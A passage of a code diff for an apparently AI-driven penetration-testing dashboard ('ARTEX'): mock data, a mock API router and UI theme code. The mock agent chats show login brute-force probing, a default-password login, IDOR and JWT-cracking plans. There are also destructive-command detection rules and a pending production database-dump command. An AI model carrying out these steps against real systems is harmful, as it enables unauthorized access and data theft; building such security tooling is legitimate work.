{ id: "1", key: "goals", name: "目标拆解器", role: "goals", builtin: true, enabled: true, description: "把任务目标拆成可探索的子目标", max_turns: 8, mcp_count: 0, skill_count: 1, tool_count: 3 },
{ id: "2", key: "planner", name: "规划者", role: "planner", builtin: true, enabled: true, description: "读探索路线、判断目标达成、生成意图", max_turns: 0, mcp_count: 1, skill_count: 2, tool_count: 9 },
{ id: "3", key: "mainagent", name: "主 Agent", role: "mainagent", builtin: true, enabled: true, description: "人在环路对话,注入 hint / 高优意图", max_turns: 0, web_search: true, mcp_count: 2, skill_count: 3, tool_count: 11 },
{ id: "4", key: "worker", name: "Work Agent", role: "worker", builtin: true, enabled: true, description: "claim 意图 → 跑 Kali 工具 → 图写回", max_turns: 40, run_seconds: 1800, web_search: false, interactive_shell: true, mcp_count: 2, skill_count: 3, tool_count: 14 },
{ id: "5", key: "recon-bot", name: "侦察机器人(自定义)", role: "custom", builtin: false, enabled: true, description: "定时对新资产做被动侦察", max_turns: 12, mcp_count: 1, skill_count: 1, tool_count: 4 },
];
const promptVars: PromptVar[] = [
{ name: "Goal", description: "当前任务目标", example: "拿到 acme.com 后台管理权限", source: "runtime" },
{ name: "AssetSummary", description: "资产图概览", example: "6 子域 / 3 IP / 4 应用 / 4 端点", source: "distilled" },
{ name: "RouteHint", description: "探索路线提示", example: "优先后台与 API 越权面", source: "exploration" },
];
const promptVersions: PromptVersion[] = [
{ version: 3, ts: T("2026-07-25T10:00:00Z"), note: "加强越权探测引导", template_text: "你是 ARTEX 的规划者……" },
{ version: 2, ts: T("2026-07-20T10:00:00Z"), note: "初版微调", template_text: "你是 ARTEX 的规划者(v2)……" },
];
export function agentDetail(key: string): AgentDetail {
const a = agents.find((x) => x.key === key) ?? agents[1];
return {
agent: a,
prompt: `你是 ARTEX 的「${a.name}」。\n目标:{{.Goal}}\n资产概览:{{.AssetSummary}}\n路线提示:{{.RouteHint}}\n请基于以上信息推进探索,并通过工具把结果写回图。`,
variables: promptVars,
versions: promptVersions,
visibility: { mcp: [1, 2], skill: ["api-recon", "playwright-cli"] },
wrapup_prompt: "",
wrapup_default: "时间/步数将尽,请总结已确认发现并标记意图终态。",
wrapup_max_turns: 0,
wrapup_max_turns_default: 3,
task_timeout_wrapup_supported: a.key === "worker" || a.key === "planner",
task_timeout_wrapup_default: "任务超时,请立即收尾并落库当前结论。",
task_timeout_wrapup_max_turns_default: 2,
};
}
// ── MCP ──────────────────────────────────────────────────────────────────────
export const mcpServers: MCPServer[] = [
{ id: 1, name: "shodan", transport: "http", url: "https://mcp.shodan.io/sse", args: [], env: {}, enabled: true, tools: ["host_info", "search", "dns_resolve"] },
{ id: 2, name: "playwright", transport: "stdio", command: "npx", args: ["-y", "@playwright/mcp"], env: {}, enabled: true, tools: ["browser_navigate", "browser_click", "browser_snapshot"] },
];
export const mcpToolsById: Record<number, MCPTool[]> = {
1: [
{ name: "host_info", description: "查询某 IP 的 Shodan 主机信息" },
{ name: "search", description: "Shodan 搜索" },
{ name: "dns_resolve", description: "DNS 解析" },
],
2: [
{ name: "browser_navigate", description: "浏览器打开 URL" },
{ name: "browser_click", description: "点击元素" },
{ name: "browser_snapshot", description: "抓取可访问性快照" },
],
};
// ── Skills ───────────────────────────────────────────────────────────────────
export const skills: SkillItem[] = [
{ name: "api-recon", description: "对 REST/GraphQL API 做侦察与越权面枚举;发现新 API 端点时使用。", license: "MIT", mcps: [], files: ["SKILL.md", "scripts/enum.py"] },
{ name: "playwright-cli", description: "用 Playwright 驱动浏览器做动态爬取与截图;需要渲染 JS 站点时使用。", mcps: ["playwright"], files: ["SKILL.md"] },
{ name: "scopesentry", description: "从 ScopeSentry 拉取资产并归并到公司范围;批量导入资产时使用。", files: ["SKILL.md", "assets/mapping.md"] },
];
// ── Tools ────────────────────────────────────────────────────────────────────
export const tools: Tool[] = [
{ key: "bash", system: true, description: "在 Kali 环境执行 shell 命令(受 scope/破坏性门控)", schema: { type: "object", properties: { command: { type: "string" } }, required: ["command"] }, agents: ["worker", "mainagent"], enabled: true, kind: "builtin" },
{ key: "report_finding", system: true, description: "上报一个安全发现并连到相关节点", schema: { type: "object", properties: { vulnclass: { type: "string" }, severity: { type: "string" }, summary: { type: "string" }, evidence: { type: "string" } }, required: ["vulnclass", "severity", "summary"] }, agents: ["worker"], enabled: true, kind: "builtin" },
{ key: "upsert_asset", system: true, description: "写入/更新资产节点", schema: { type: "object", properties: { type: { type: "string" }, value: { type: "string" } } }, agents: ["worker"], enabled: true, kind: "builtin" },
{ key: "list_goals", system: true, description: "列出当前任务的目标与达成状态", schema: { type: "object", properties: {} }, agents: ["planner"], enabled: true, kind: "builtin" },
{ key: "nuclei_scan", system: false, description: "自定义:用 nuclei 跑指定模板", schema: { type: "object", properties: { target: { type: "string" }, template: { type: "string" } }, required: ["target"] }, agents: ["worker"], enabled: true, kind: "command", exec: { command: "nuclei", args: ["-u", "{{target}}"] } },
];
// ── Settings ─────────────────────────────────────────────────────────────────
export const settings: Settings = {
traffic_capture: true,
web_search_enabled: true,
web_search_backend: "ddgs",
brave_key_set: false,
tavily_key_set: true,
web_search_proxy: "",
python_interpreter: "/usr/bin/python3",
workers: 3,
};
// ── Intercept ────────────────────────────────────────────────────────────────
export const interceptRules: InterceptRule[] = [
{ id: 1, name: "破坏性命令需审批", enabled: true, priority: 10, match_target: "tool_input", match_type: "regex", pattern: "rm\\s+-rf|mkfs|dd\\s+if=", action: "ask", message: "检测到破坏性命令,需人工审批", timeout_enabled: true, timeout_seconds: 120, timeout_action: "deny", created_at: T("2026-07-20T10:00:00Z"), updated_at: T("2026-07-20T10:00:00Z") },
{ id: 2, name: "外发流量直接拒绝", enabled: true, priority: 20, match_target: "tool_input", match_type: "string", pattern: "exfil", action: "deny", message: "疑似外发数据", timeout_enabled: false, timeout_seconds: 0, timeout_action: "deny", created_at: T("2026-07-21T10:00:00Z"), updated_at: T("2026-07-21T10:00:00Z") },
];
export const interceptPending: InterceptPending[] = [
{ id: 101, rule_id: 1, task_id: "t-acme-web", agent_name: "work#3", tool_name: "bash", tool_input: { command: "mysqldump -h 203.0.113.10 -uroot acme_prod > /tmp/dump.sql" }, status: "pending", created_at: T("2026-07-26T03:58:00Z") },
];
export const interceptHistory: InterceptApprovalRow[] = [
{ id: 90, rule_id: 1, task_id: "t-acme-web", agent_name: "work#1", tool_name: "bash", tool_input: { command: "dd if=/dev/zero of=/tmp/x" }, status: "denied", created_at: T("2026-07-25T20:00:00Z"), decided_at: T("2026-07-25T20:01:00Z"), conv_title: "", conv_agent_key: "", rule_name: "破坏性命令需审批" },
{ id: 91, task_id: "t-acme-api", agent_name: "work#2", tool_name: "bash", tool_input: { command: "nmap -sV 203.0.113.11" }, status: "allowed", created_at: T("2026-07-25T18:00:00Z"), decided_at: T("2026-07-25T18:00:05Z"), conv_title: "", conv_agent_key: "", rule_name: "" },
];
// ── Conversations (chat) ─────────────────────────────────────────────────────
export const conversations: Conversation[] = [
{ id: 1, agent_key: "mainagent", title: "acme 后台切入点讨论", llm_profile_id: 1, created_at: T("2026-07-25T10:00:00Z"), updated_at: T("2026-07-26T03:40:00Z") },
{ id: 2, agent_key: "mainagent", title: "API 越权面梳理", llm_profile_id: 2, created_at: T("2026-07-24T16:00:00Z"), updated_at: T("2026-07-24T17:20:00Z") },
];
export const conversationMessages: Record<number, Activity[]> = {
1: [
{ seq: 1, worker: "user", ts: T("2026-07-25T10:00:00Z"), kind: "user", summary: "后台在哪,先从哪切入?" },
{ seq: 2, worker: "mainagent", ts: T("2026-07-25T10:00:04Z"), kind: "thinking", summary: "先确认 admin.acme.com 的登录页技术栈和防护(验证码/速率限制),再决定用默认口令还是字典。" },
{ seq: 3, worker: "mainagent", ts: T("2026-07-25T10:00:06Z"), kind: "tool_use", tool: "bash", tool_use_id: "c11", summary: "curl -s https://admin.acme.com/login | grep -Eo 'element-ui|captcha|csrf'" },
{ seq: 4, worker: "mainagent", ts: T("2026-07-25T10:00:08Z"), kind: "tool_result", tool: "bash", tool_use_id: "c11", summary: "element-ui\ncsrf", detail: "Element-UI 后台,有 CSRF token 但无验证码。" },
{ seq: 5, worker: "mainagent", ts: T("2026-07-25T10:00:20Z"), kind: "tool_use", tool: "bash", tool_use_id: "c12", summary: "for i in 1 2 3 4 5; do curl -s -o /dev/null -w '%{http_code}\\n' -d 'username=x&password=y' https://admin.acme.com/login; done" },
{ seq: 6, worker: "mainagent", ts: T("2026-07-25T10:00:24Z"), kind: "tool_result", tool: "bash", tool_use_id: "c12", summary: "401\\n401\\n401\\n401\\n401", detail: "连续 5 次无锁定/无验证码 → 无速率限制,可爆破。" },
{ seq: 7, worker: "mainagent", ts: T("2026-07-25T10:00:30Z"), kind: "text", summary: "结论:Element-UI 后台、无验证码、无速率限制。切入顺序:① 先跑默认口令表(admin/admin、admin/admin123、admin/123456)② 不中再上 top1000 字典。我已把「后台默认口令测试」作为高优意图注入给 work agent。" },
{ seq: 8, worker: "user", ts: T("2026-07-26T03:40:00Z"), kind: "user", summary: "成了吗?" },
{ seq: 9, worker: "mainagent", ts: T("2026-07-26T03:40:05Z"), kind: "text", summary: "成了 —— admin/admin123 直接登进控制台,已记为高危发现并证明「获取后台管理权限」目标达成。下一步转向读用户数据(目标②)。" },
],
2: [
{ seq: 1, worker: "user", ts: T("2026-07-24T16:00:00Z"), kind: "user", summary: "帮我梳理下 api.acme.com 的越权面。" },
{ seq: 2, worker: "mainagent", ts: T("2026-07-24T16:00:05Z"), kind: "thinking", summary: "先摸 API 的鉴权方式和几个关键端点的行为,再判断 IDOR / JWT 风险。" },
{ seq: 3, worker: "mainagent", ts: T("2026-07-24T16:00:10Z"), kind: "tool_use", tool: "bash", tool_use_id: "c21", summary: "curl -s https://api.acme.com/v1/users/me -H 'Authorization: Bearer <self>' | jq '{id,role}'" },
{ seq: 4, worker: "mainagent", ts: T("2026-07-24T16:00:12Z"), kind: "tool_result", tool: "bash", tool_use_id: "c21", summary: "{ \"id\": 42, \"role\": \"user\" }", detail: "普通用户 token 可用。" },
{ seq: 5, worker: "mainagent", ts: T("2026-07-24T16:00:30Z"), kind: "tool_use", tool: "bash", tool_use_id: "c22", summary: "echo '<jwt>' | cut -d. -f1 | base64 -d; # 看算法" },
{ seq: 6, worker: "mainagent", ts: T("2026-07-24T16:00:31Z"), kind: "tool_result", tool: "bash", tool_use_id: "c22", summary: "{\"alg\":\"HS256\",\"typ\":\"JWT\"}", detail: "HS256 对称签名,若密钥弱可离线爆破伪造。" },
{ seq: 7, worker: "mainagent", ts: T("2026-07-24T16:01:00Z"), kind: "text", summary: "越权面有两条:① /v1/orders?id= 是自增数字 id → 典型 IDOR,改 id 试读他人订单;② JWT 用 HS256,试 john/hashcat 爆密钥→可伪造任意 sub 越权。我把这两条各派生成一个意图。建议先做 IDOR(成本低、影响直接)。" },
],
};
+3
View File
@@ -0,0 +1,3 @@
// Mock 开关。构建期注入的公开变量(NEXT_PUBLIC_ 前缀才在浏览器可读)。
// Vercel 上设 NEXT_PUBLIC_MOCK=1 即整站走 mock、无需后端。
export const MOCK = process.env.NEXT_PUBLIC_MOCK === "1";
+168
View File
@@ -0,0 +1,168 @@
// Mock 路由:把 (method, path) 映射到 lib/mock/data 的静态数据。
// 未命中的一律返回安全默认([] / {} / {ok:true}),保证任何页面都不崩。
// 只在 NEXT_PUBLIC_MOCK=1 时经由 api.ts 的 http() 短路进入这里。
import * as D from "./data";
const delay = (ms = 120) => new Promise((r) => setTimeout(r, ms));
function parseBody(body?: BodyInit | null): Record<string, unknown> {
if (typeof body !== "string") return {};
try {
return JSON.parse(body) as Record<string, unknown>;
} catch {
return {};
}
}
export async function mockHandle<T>(method: string, rawPath: string, body?: BodyInit | null): Promise<T> {
await delay();
const [path, qs] = rawPath.split("?");
const q = new URLSearchParams(qs ?? "");
const seg = path.split("/").filter(Boolean); // ["exploration","activity"]
const m = method.toUpperCase();
const b = parseBody(body);
return route(m, path, seg, q, b) as T;
}
function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Record<string, unknown>): unknown {
const task = q.get("task") ?? undefined;
// ── auth:让 demo 直接进主界面 ──
if (path === "/auth/status") return { initialized: true };
if (path === "/auth/login" || path === "/auth/init") return { token: "mock-demo" };
if (path === "/auth/change-password") return { ok: true };
// ── tasks ──
if (path === "/tasks" && m === "GET") return { tasks: D.tasks, active: D.ACTIVE_TASK };
if (path === "/tasks" && m === "POST")
return { ...D.tasks[0], id: "t-new", description: String(b.description ?? "新任务"), goal: String(b.goal ?? ""), status: "created" };
if (seg[0] === "tasks" && seg.length === 2 && m === "DELETE") return { deleted: 1 };
if (seg[0] === "tasks" && seg[2] === "control") return { id: seg[1], paused: b.action === "pause" };
if (seg[0] === "tasks" && seg[2] === "chat" && seg[3] === "stop") return { status: "stopped" };
if (path === "/active") return { active: String(b.id ?? D.ACTIVE_TASK) };
// ── stats ──
if (path === "/stats") return D.stats(task);
// ── assets ──
if (path === "/assets/counts") return D.assetCounts;
if (path === "/assets" && m === "GET") {
const type = q.get("type") ?? "";
const list = type ? D.assets.filter((a) => a.type === type) : D.assets;
const limit = Number(q.get("limit") ?? 50);
const offset = Number(q.get("offset") ?? 0);
return { count: list.length, total: list.length, assets: list.slice(offset, offset + limit) };
}
if (path === "/assets" && m === "DELETE") return { deleted: (b.ids as unknown[])?.length ?? 0 };
// ── companies ──
if (path === "/companies" && m === "GET") return D.companies;
if (path === "/companies" && m === "POST") return { id: 2, created: true, scope_added: 0 };
if (seg[0] === "companies" && seg[2] === "scope") return { added: 0, skipped: 0, invalid: 0 };
if (seg[0] === "companies" && seg.length === 2 && m === "DELETE") return { deleted: 1, assets_deleted: 0 };
// ── exploration ──
if (path === "/exploration/frontier") return D.frontier;
if (path === "/exploration/findings") return task ? D.findings.filter((f) => f.task_id === task) : D.findings;
if (path === "/exploration/intents") return D.intents;
if (path === "/exploration/tokens") return { workers: D.tokenWorkers, total: D.tokenTotal };
if (path === "/exploration/graph") return D.explorationGraph;
if (path === "/exploration/activity" && seg.length === 2) {
const items = D.activityForTask();
return { items, cursor: items.length ? items[items.length - 1].seq : 0 };
}
if (seg[0] === "exploration" && seg[1] === "activity" && seg.length === 3)
return { detail: "(demo)此活动的完整工具输入/输出明细。" };
if (path === "/tokens/daily") return D.dailyTokens;
if (path === "/tokens/conversations") return D.convTokens;
// ── traffic / audit / settings ──
if (path === "/audit") return D.audit;
if (path === "/traffic") return D.traffic;
if (path === "/traffic/exchange") return D.trafficDetail;
if (path === "/settings" && m === "GET") return D.settings;
if (path === "/settings" && m === "PUT") return { ...D.settings, ...b };
if (path === "/settings/web-search/test") return { ok: true, count: 5, backend: D.settings.web_search_backend };
if (path === "/settings/python/detect") return { python_interpreter: "/usr/bin/python3" };
if (path === "/chat") return { reply: "(demo)我已把该建议注入为一条高优意图,work agent 会尽快执行。", mode: "hint" };
if (path === "/gc") return { removed: 0 };
// ── LLM ──
if (path === "/llm" && m === "GET") return D.llmConfig;
if (path === "/llm" && m === "POST") return { ok: true };
if (path === "/llm/test") return { ok: true, latency_ms: 128, model: String(b.model ?? "claude-opus-4-8") };
if (path === "/llm/profiles" && m === "GET") return { profiles: D.llmProfiles };
if (path === "/llm/profiles" && m === "POST") return { id: Number(b.id) || 3 };
if (path === "/llm/profiles/active") return { ok: true };
if (seg[0] === "llm" && seg[1] === "profiles" && seg.length === 3 && m === "DELETE") return { deleted: Number(seg[2]) };
// ── agents ──
if (path === "/agents" && m === "GET") return { agents: D.agents };
if (path === "/agents" && m === "POST") return { id: "9", key: String(b.key ?? "custom"), name: String(b.name ?? ""), role: "custom", builtin: false, enabled: true };
if (seg[0] === "agents" && seg.length === 2 && m === "GET") return D.agentDetail(seg[1]);
if (seg[0] === "agents" && seg[2] === "triggers" && m === "GET") return { triggers: [] };
if (seg[0] === "agents" && seg[2] === "prompts") return { versions: D.agentDetail(seg[1]).versions };
if (seg[0] === "agents" && seg[2] === "variables") return { variables: D.agentDetail(seg[1]).variables };
if (seg[0] === "agents" && seg[2] === "prompt" && seg[3] === "preview")
return { rendered: String(b.template ?? "").replace(/\{\{\.(\w+)\}\}/g, "«$1»") };
if (seg[0] === "agents" && seg[2] === "visibility" && m === "GET") return D.agentDetail(seg[1]).visibility;
// ── conversations ──
if (path === "/conversations" && m === "GET") return { conversations: D.conversations };
if (path === "/conversations" && m === "POST") return { id: 3, agent_key: String(b.agent_key ?? "mainagent"), title: String(b.title ?? "新会话"), created_at: "2026-07-26T04:00:00Z", updated_at: "2026-07-26T04:00:00Z" };
if (seg[0] === "conversations" && seg[2] === "messages" && seg.length === 3 && m === "GET") {
const items = D.conversationMessages[Number(seg[1])] ?? [];
return { items, cursor: items.length ? items[items.length - 1].seq : 0, running: false };
}
if (seg[0] === "conversations" && seg[2] === "messages" && seg.length === 4)
return { detail: "(demo)该消息的完整明细。" };
if (seg[0] === "conversations" && seg[2] === "messages" && m === "POST") return { status: "ok" };
if (seg[0] === "conversations" && seg[2] === "stop") return { status: "stopped" };
// ── tools ──
if (path === "/tools" && m === "GET") return { tools: D.tools };
if (path === "/tools/custom" && m === "POST") return { key: String(b.key ?? "custom-tool") };
if (path === "/tools/custom/test") return { output: "(demo)工具执行输出示例。", is_error: false };
// ── mcp ──
if (path === "/mcp" && m === "GET") return { servers: D.mcpServers };
if (path === "/mcp" && m === "POST") return { id: 3 };
if (seg[0] === "mcp" && seg[2] === "tools") return { tools: D.mcpToolsById[Number(seg[1])] ?? [] };
if (seg[0] === "mcp" && seg[2] === "refresh") return { tools: D.mcpToolsById[Number(seg[1])] ?? [] };
if (seg[0] === "mcp" && seg.length === 2 && m === "DELETE") return { deleted: Number(seg[1]) };
// ── scopesentry(demo:未配置)──
if (path === "/sync/scopesentry/status") return { exists: false, configured: false, enabled: false, reachable: false, tools: [] };
if (path === "/sync/scopesentry/projects") return { projects: [], tag: {} };
if (path === "/sync/scopesentry/tasks") return { tasks: [] };
if (path === "/sync/scopesentry/sync") return { synced: {}, companies: null, warnings: null, errors: null };
// ── skills ──
if (path === "/skills" && m === "GET") return { skills: D.skills };
if (path === "/skills" && m === "POST") return { name: String(b.name ?? "new-skill") };
if (seg[0] === "skills" && seg[2] === "files" && seg.length === 3) return { files: ["SKILL.md"] };
if (seg[0] === "skills" && seg[2] === "files" && seg.length >= 4)
return { content: "# SKILL.md\n\n(demo)这是该 skill 的说明文件示例。", file: seg.slice(3).join("/") };
// ── visibility ──
if (seg[0] === "visibility" && m === "GET") return { agents: [] };
// ── intercept ──
if (path === "/intercept/rules" && m === "GET") return { rules: D.interceptRules };
if (seg[0] === "intercept" && seg[1] === "rules" && seg[3] === "toggle") return { ok: true, enabled: b.enabled ?? true };
if (path === "/intercept/pending" && m === "GET") return { pending: D.interceptPending };
if (seg[0] === "intercept" && seg[1] === "pending" && seg[3] === "decide") return { ok: true };
if (seg[0] === "intercept" && seg[1] === "pending" && seg.length === 3 && m === "GET")
return D.interceptPending.find((p) => p.id === Number(seg[2])) ?? null;
if (path === "/intercept/history") return { items: D.interceptHistory };
if (seg[0] === "intercept" && seg[1] === "task")
return { items: D.interceptHistory.filter((r) => r.task_id === seg[2]) };
if (path === "/intercept/tool-config") return { enabled_tools: ["bash"] };
// ── 写操作兜底:成功但不落库 ──
if (["POST", "PUT", "PATCH", "DELETE"].includes(m)) return { ok: true };
// ── 读兜底:集合类给 [],其余 {} ──
return /(\/(tasks|profiles|conversations|rules|history|projects|tokens|agents|servers|skills|tools|findings|intents)s?$)|s$/.test(path) ? [] : {};
}
+24
View File
@@ -0,0 +1,24 @@
export function applyContentLayout(value: "centered" | "full-width") {
const root = document.documentElement;
root.setAttribute("data-content-layout", value);
}
export function applyNavbarStyle(value: "sticky" | "scroll") {
const root = document.documentElement;
root.setAttribute("data-navbar-style", value);
}
export function applySidebarVariant(value: string) {
const root = document.documentElement;
root.setAttribute("data-sidebar-variant", value);
}
export function applySidebarCollapsible(value: string) {
const root = document.documentElement;
root.setAttribute("data-sidebar-collapsible", value);
}
export function applyFont(value: string) {
const root = document.documentElement;
root.setAttribute("data-font", value);
}
+32
View File
@@ -0,0 +1,32 @@
// Sidebar Variant
export const SIDEBAR_VARIANT_OPTIONS = [
{ label: "Sidebar", value: "sidebar" },
{ label: "Inset", value: "inset" },
{ label: "Floating", value: "floating" },
] as const;
export const SIDEBAR_VARIANT_VALUES = SIDEBAR_VARIANT_OPTIONS.map((v) => v.value);
export type SidebarVariant = (typeof SIDEBAR_VARIANT_VALUES)[number];
// Sidebar Collapsible
export const SIDEBAR_COLLAPSIBLE_OPTIONS = [
{ label: "Icon", value: "icon" },
{ label: "Offcanvas", value: "offcanvas" },
] as const;
export const SIDEBAR_COLLAPSIBLE_VALUES = SIDEBAR_COLLAPSIBLE_OPTIONS.map((v) => v.value);
export type SidebarCollapsible = (typeof SIDEBAR_COLLAPSIBLE_VALUES)[number];
// Content Layout
export const CONTENT_LAYOUT_OPTIONS = [
{ label: "Centered", value: "centered" },
{ label: "Full Width", value: "full-width" },
] as const;
export const CONTENT_LAYOUT_VALUES = CONTENT_LAYOUT_OPTIONS.map((v) => v.value);
export type ContentLayout = (typeof CONTENT_LAYOUT_VALUES)[number];
// Navbar Style
export const NAVBAR_STYLE_OPTIONS = [
{ label: "Sticky", value: "sticky" },
{ label: "Scroll", value: "scroll" },
] as const;
export const NAVBAR_STYLE_VALUES = NAVBAR_STYLE_OPTIONS.map((v) => v.value);
export type NavbarStyle = (typeof NAVBAR_STYLE_VALUES)[number];
@@ -0,0 +1,90 @@
/**
* How each preference should be saved.
*
* "client-cookie" → write cookie on the browser only.
* "server-cookie" → write cookie through a Server Action.
* "localStorage" → save only on the client (non-layout stuff).
* "none" → no saving, resets on reload.
*
* Layout-critical prefs (sidebar_variant / sidebar_collapsible)
* must stay consistent during SSR → so they can’t use localStorage.
* Others are flexible and can use any persistence.
*/
import type { FontKey } from "@/lib/fonts/registry";
import type { ContentLayout, NavbarStyle, SidebarCollapsible, SidebarVariant } from "./layout";
import type { ThemeMode, ThemePreset } from "./theme";
export type PreferencePersistence = "none" | "client-cookie" | "server-cookie" | "localStorage";
/**
* All available preference keys and their value types.
*/
export type PreferenceValueMap = {
theme_mode: ThemeMode;
theme_preset: ThemePreset;
font: FontKey;
content_layout: ContentLayout;
navbar_style: NavbarStyle;
sidebar_variant: SidebarVariant;
sidebar_collapsible: SidebarCollapsible;
};
export type PreferenceKey = keyof PreferenceValueMap;
/**
* Layout-critical keys → these affect SSR UI (sidebar shape)
* so they must be accessible on the server.
*/
export const LAYOUT_CRITICAL_KEYS = ["sidebar_variant", "sidebar_collapsible"] as const;
export type LayoutCriticalKey = (typeof LAYOUT_CRITICAL_KEYS)[number];
/**
* Everything else is non-critical and can be read from the client.
*/
export type NonCriticalKey = Exclude<PreferenceKey, LayoutCriticalKey>;
/**
* Layout-critical cannot use "localStorage" because SSR needs the value.
* So remove it from allowed persistence types for those keys.
*/
type LayoutCriticalPersistence = Exclude<PreferencePersistence, "localStorage">;
/**
* Final config:
* - layout-critical keys → restricted persistence
* - non-critical keys → can use any persistence
*/
type PreferencePersistenceConfig = {
[K in LayoutCriticalKey]: LayoutCriticalPersistence;
} & {
[K in NonCriticalKey]: PreferencePersistence;
};
/**
* Default preference values on first load.
*/
export const PREFERENCE_DEFAULTS: PreferenceValueMap = {
theme_mode: "light",
theme_preset: "default",
font: "geist",
content_layout: "centered",
navbar_style: "sticky",
sidebar_variant: "inset",
sidebar_collapsible: "icon",
};
/**
* How each preference is persisted.
* You can change these per-key.
*/
export const PREFERENCE_PERSISTENCE: PreferencePersistenceConfig = {
theme_mode: "client-cookie",
theme_preset: "client-cookie",
font: "client-cookie",
content_layout: "client-cookie",
navbar_style: "client-cookie",
sidebar_variant: "client-cookie", // layout-critical → cannot be "localStorage"
sidebar_collapsible: "client-cookie", // layout-critical → cannot be "localStorage"
};
@@ -0,0 +1,27 @@
"use client";
import { setClientCookie } from "../cookie.client";
import { setLocalStorageValue } from "../local-storage.client";
import { PREFERENCE_PERSISTENCE, type PreferenceKey } from "./preferences-config";
export async function persistPreference(key: PreferenceKey, value: string) {
const mode = PREFERENCE_PERSISTENCE[key];
switch (mode) {
case "none":
return;
// 静态导出无 Node 服务端,server-cookie 退化为浏览器 cookie(写入语义等价)。
case "server-cookie":
case "client-cookie":
setClientCookie(key, value);
return;
case "localStorage":
setLocalStorageValue(key, value);
return;
default:
return;
}
}
+42
View File
@@ -0,0 +1,42 @@
import type { ResolvedThemeMode, ThemeMode } from "./theme";
export function resolveThemeMode(mode: ThemeMode): ResolvedThemeMode {
if (mode === "system") {
const prefersDark = window.matchMedia?.("(prefers-color-scheme: dark)")?.matches;
return prefersDark ? "dark" : "light";
}
return mode === "dark" ? "dark" : "light";
}
export function applyThemeMode(mode: ThemeMode): ResolvedThemeMode {
const resolved = resolveThemeMode(mode);
const doc = document.documentElement;
doc.setAttribute("data-theme-mode", mode);
doc.classList.add("disable-transitions");
doc.classList.toggle("dark", resolved === "dark");
doc.style.colorScheme = resolved;
requestAnimationFrame(() => {
doc.classList.remove("disable-transitions");
});
return resolved;
}
export function applyThemePreset(value: string) {
document.documentElement.setAttribute("data-theme-preset", value);
}
export function subscribeToSystemTheme(onChange: (mode: ResolvedThemeMode) => void): () => void {
if (typeof window === "undefined") return () => undefined;
const media = window.matchMedia?.("(prefers-color-scheme: dark)");
if (!media) return () => undefined;
const listener = (event: MediaQueryListEvent) => {
onChange(event.matches ? "dark" : "light");
};
media.addEventListener("change", listener);
return () => {
media.removeEventListener("change", listener);
};
}
+52
View File
@@ -0,0 +1,52 @@
export const THEME_MODE_OPTIONS = [
{ label: "Light", value: "light" },
{ label: "Dark", value: "dark" },
{ label: "System", value: "system" },
] as const;
export const THEME_MODE_VALUES = THEME_MODE_OPTIONS.map((o) => o.value);
export type ThemeMode = (typeof THEME_MODE_VALUES)[number];
export type ResolvedThemeMode = "light" | "dark";
// --- generated:themePresets:start ---
export const THEME_PRESET_OPTIONS = [
{
label: "Default",
value: "default",
primary: {
light: "oklch(0.205 0 0)",
dark: "oklch(0.922 0 0)",
},
},
{
label: "Brutalist",
value: "brutalist",
primary: {
light: "oklch(0.6489 0.237 26.9728)",
dark: "oklch(0.7044 0.1872 23.1858)",
},
},
{
label: "Soft Pop",
value: "soft-pop",
primary: {
light: "oklch(0.5106 0.2301 276.9656)",
dark: "oklch(0.6801 0.1583 276.9349)",
},
},
{
label: "Tangerine",
value: "tangerine",
primary: {
light: "oklch(0.64 0.17 36.44)",
dark: "oklch(0.64 0.17 36.44)",
},
},
] as const;
export const THEME_PRESET_VALUES = THEME_PRESET_OPTIONS.map((p) => p.value);
export type ThemePreset = (typeof THEME_PRESET_OPTIONS)[number]["value"];
// --- generated:themePresets:end ---
+104
View File
@@ -0,0 +1,104 @@
// Centralised status → color/label semantics, reused across the whole app.
// Spec §8.3: 意图 / 覆盖 / 任务 / 严重度 each have a consistent color set.
export type Tone =
| "neutral"
| "blue"
| "green"
| "amber"
| "red"
| "violet"
| "slate";
export const toneClasses: Record<Tone, string> = {
neutral:
"bg-muted text-muted-foreground border-transparent",
blue: "bg-blue-500/15 text-blue-600 dark:text-blue-400 border-blue-500/20",
green:
"bg-emerald-500/15 text-emerald-600 dark:text-emerald-400 border-emerald-500/20",
amber:
"bg-amber-500/15 text-amber-600 dark:text-amber-400 border-amber-500/20",
red: "bg-red-500/15 text-red-600 dark:text-red-400 border-red-500/20",
violet:
"bg-violet-500/15 text-violet-600 dark:text-violet-400 border-violet-500/20",
slate:
"bg-slate-500/15 text-slate-600 dark:text-slate-400 border-slate-500/20",
};
export const toneDot: Record<Tone, string> = {
neutral: "bg-muted-foreground",
blue: "bg-blue-500",
green: "bg-emerald-500",
amber: "bg-amber-500",
red: "bg-red-500",
violet: "bg-violet-500",
slate: "bg-slate-500",
};
interface StatusMeta {
label: string;
tone: Tone;
}
const intent: Record<string, StatusMeta> = {
open: { label: "待领", tone: "slate" },
running: { label: "执行中", tone: "blue" },
done: { label: "已完成", tone: "green" },
blocked: { label: "被拦截", tone: "red" },
exhausted: { label: "已穷尽", tone: "violet" },
};
const task: Record<string, StatusMeta> = {
created: { label: "已创建", tone: "slate" },
running: { label: "运行中", tone: "blue" },
paused: { label: "已暂停", tone: "amber" },
done: { label: "已完成", tone: "green" },
failed: { label: "失败", tone: "red" },
timeout: { label: "已超时", tone: "amber" },
};
const severity: Record<string, StatusMeta> = {
high: { label: "高危", tone: "red" },
medium: { label: "中危", tone: "amber" },
low: { label: "低危", tone: "slate" },
};
const engine: Record<string, StatusMeta> = {
exploring: { label: "探索中", tone: "blue" },
paused: { label: "已暂停", tone: "amber" },
stalled: { label: "停滞", tone: "red" },
idle: { label: "空闲", tone: "neutral" },
};
const goal: Record<string, StatusMeta> = {
open: { label: "进行中", tone: "blue" },
met: { label: "已达成", tone: "green" },
abandoned: { label: "已放弃", tone: "slate" },
};
const audit: Record<string, StatusMeta> = {
allow: { label: "放行", tone: "green" },
block: { label: "拦截", tone: "red" },
};
const node: Record<string, StatusMeta> = {
observed: { label: "观测", tone: "slate" },
confirmed: { label: "确认", tone: "green" },
tombstoned: { label: "废弃", tone: "neutral" },
};
const maps = {
intent,
task,
severity,
engine,
goal,
audit,
node,
} as const;
export type StatusDomain = keyof typeof maps;
export function statusMeta(domain: StatusDomain, key: string): StatusMeta {
return maps[domain][key] ?? { label: key, tone: "neutral" };
}
+551
View File
@@ -0,0 +1,551 @@
// ARTEX domain model — types used across the UI.
// Derived from the functional spec (section 7: 关键数据形状).
export type TaskStatus = "created" | "running" | "paused" | "done" | "failed" | "timeout";
export type EngineMode = "exploring" | "paused" | "stalled" | "idle";
export interface Task {
id: string;
description: string;
